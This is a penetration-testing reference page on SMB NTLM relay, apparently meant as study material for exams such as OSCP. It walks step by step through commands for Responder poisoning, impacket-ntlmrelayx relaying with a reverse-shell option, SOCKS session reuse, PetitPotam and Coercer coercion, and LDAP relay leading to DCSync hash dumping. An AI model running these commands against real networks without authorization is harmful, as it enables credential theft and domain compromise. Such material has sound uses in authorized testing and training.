# SMB NTLM Relay – Hash Relay to Shell > Exploit SMB NTLM relay attacks to capture and relay authentication hashes, escalating from network access to remote code execution via compromised credentials. - **URL:** https://hackindex.io/services/smb/exploitation/ntlm-relay - **Path:** SMB > Exploitation - **Up:** [Exploitation](https://hackindex.io/services/smb/exploitation.md) - **Published:** 2026-03-11 - **Updated:** 2026-08-11 NTLM relay intercepts an authentication attempt from one host and forwards it to another before the original connection completes. The target validates the relayed credential as legitimate. You never need to know the password: you just need to be in a position to receive authentication and a target that does not require SMB signing. Common methods to trigger authentication to your listener: - LLMNR/NBT-NS poisoning with Responder - Authentication coercion via PetitPotam or SpoolSample - Writeable share tricks that force a UNC path lookup (SCF, URL, LNK files) - Coercer for automated RPC-based authentication coercion The other prerequisite is at least one target with SMB signing disabled or not required: that is still common across workstations in most AD environments. ## Finding Relay Targets Generate a target list of hosts with SMB signing disabled or not required: ```bash nxc smb $TARGET_IP/24 --gen-relay-list targets.txt ``` Any host in `targets.txt` is a valid relay target. Domain Controllers have signing required by default: do not waste time relaying to them unless you have a specific cross-protocol plan. ## Setting Up ntlmrelayx Turn off Responder's SMB and HTTP servers first so they do not conflict with ntlmrelayx: > [!WARNING] > This may be restricted in exams such as OSCP. Responder poisoning and spoofing is explicitly not allowed on the OSCP exam. Verify exam rules before use. ```bash sed -i 's/SMB = On/SMB = Off/' /usr/share/responder/Responder.conf sed -i 's/HTTP = On/HTTP = Off/' /usr/share/responder/Responder.conf ``` Start Responder for poisoning only: ```bash sudo responder -I eth0 -dwv ``` Start ntlmrelayx targeting your list: ```bash impacket-ntlmrelayx -tf targets.txt -smb2support ``` When a relay succeeds and the relayed user has local admin on the target, ntlmrelayx dumps the SAM database by default. ## Getting a Shell Directly Use `-c` to execute a command instead of dumping SAM. Drop a reverse shell: ```bash impacket-ntlmrelayx -tf targets.txt -smb2support -c "powershell -e " ``` Or use `-i` for an interactive SMB shell on the first successful relay: ```bash impacket-ntlmrelayx -tf targets.txt -smb2support -i ``` When a relay succeeds, ntlmrelayx opens a local TCP port. Connect to it with nc: ```bash nc 127.0.0.1 11000 ``` This gives you an interactive SMB shell as the relayed user. ## SOCKS Proxy Mode for Reusable Sessions With `-socks`, ntlmrelayx keeps relay sessions alive and exposes them as a SOCKS proxy. This lets you reuse the authenticated session with any tool: ```bash impacket-ntlmrelayx -tf targets.txt -smb2support -socks ``` Once a relay succeeds, sessions appear in the ntlmrelayx prompt: ``` ntlmrelayx> socks Protocol Target Username Port -------- -------------- -------------------- ---- SMB 10.10.10.15 CORP/jsmith 445 SMB 10.10.10.22 CORP/administrator 445 ``` Use proxychains to route any Impacket tool through the session: ```bash proxychains impacket-secretsdump CORP/administrator@10.10.10.22 -no-pass proxychains impacket-smbclient CORP/jsmith@10.10.10.15 -no-pass ``` ## Relay Without Responder - Authentication Coercion If Responder poisoning is restricted or not available, trigger authentication directly using coercion tools. These force the target to authenticate to your ntlmrelayx listener: ```bash impacket-ntlmrelayx -tf targets.txt -smb2support -socks PetitPotam.py $LHOST $TARGET_IP ``` Or with Coercer: > [!WARNING] > This may be restricted in exams such as OSCP. Verify exam rules before use. ```bash coercer coerce -t $TARGET_IP -l $LHOST -u $USER -p $PASSWORD -d $DOMAIN ``` The coerced machine account authentication relays to your target list. Machine accounts often have local admin on other hosts in the same OU or via GPO, making this reliable. ## Cross-Protocol Relay to LDAP If all SMB targets have signing required, relay to LDAP instead. LDAP signing is not enforced by default on many DCs. With a relayed DA or machine account: ```bash impacket-ntlmrelayx -t ldap://$DC_IP -smb2support --escalate-user $USER ``` This grants DCSync rights to a user you control. Then run DCSync to dump the domain: ```bash impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$DC_IP -just-dc ``` For the full LDAP relay workflow, see [LDAP Relay and Signing Abuse](https://hackindex.io/services/ldap/exploitation/ldap-relay-and-signing-abuse). For post-DCSync paths, see [Active Directory DCSync and Domain Takeover](https://hackindex.io/platforms/active-directory/exploitation/active-directory-dcsync-and-domain-takeover). ## Non-Admin Relay Even without local admin on the target, a successful relay is still useful. A non-admin relay gives you authenticated SMB read access to the target's shares as the relayed user. Use the SOCKS mode and browse shares: ```bash proxychains impacket-smbclient CORP/jsmith@10.10.10.15 -no-pass ``` Browse for sensitive files, credentials, scripts, or config files in accessible shares. For AD-specific relay chains (LDAP, ADCS, DCSync), see [AD NTLM Relay](https://hackindex.io/platforms/active-directory/exploitation/ad-ntlm-relay). ## References - [Impacket](https://github.com/fortra/impacket) - Fortra ntlmrelayx.py source and full option reference. - [Responder](https://github.com/lgandx/Responder) - Laurent Gaffie Poisoning tool used to capture and forward authentication to ntlmrelayx.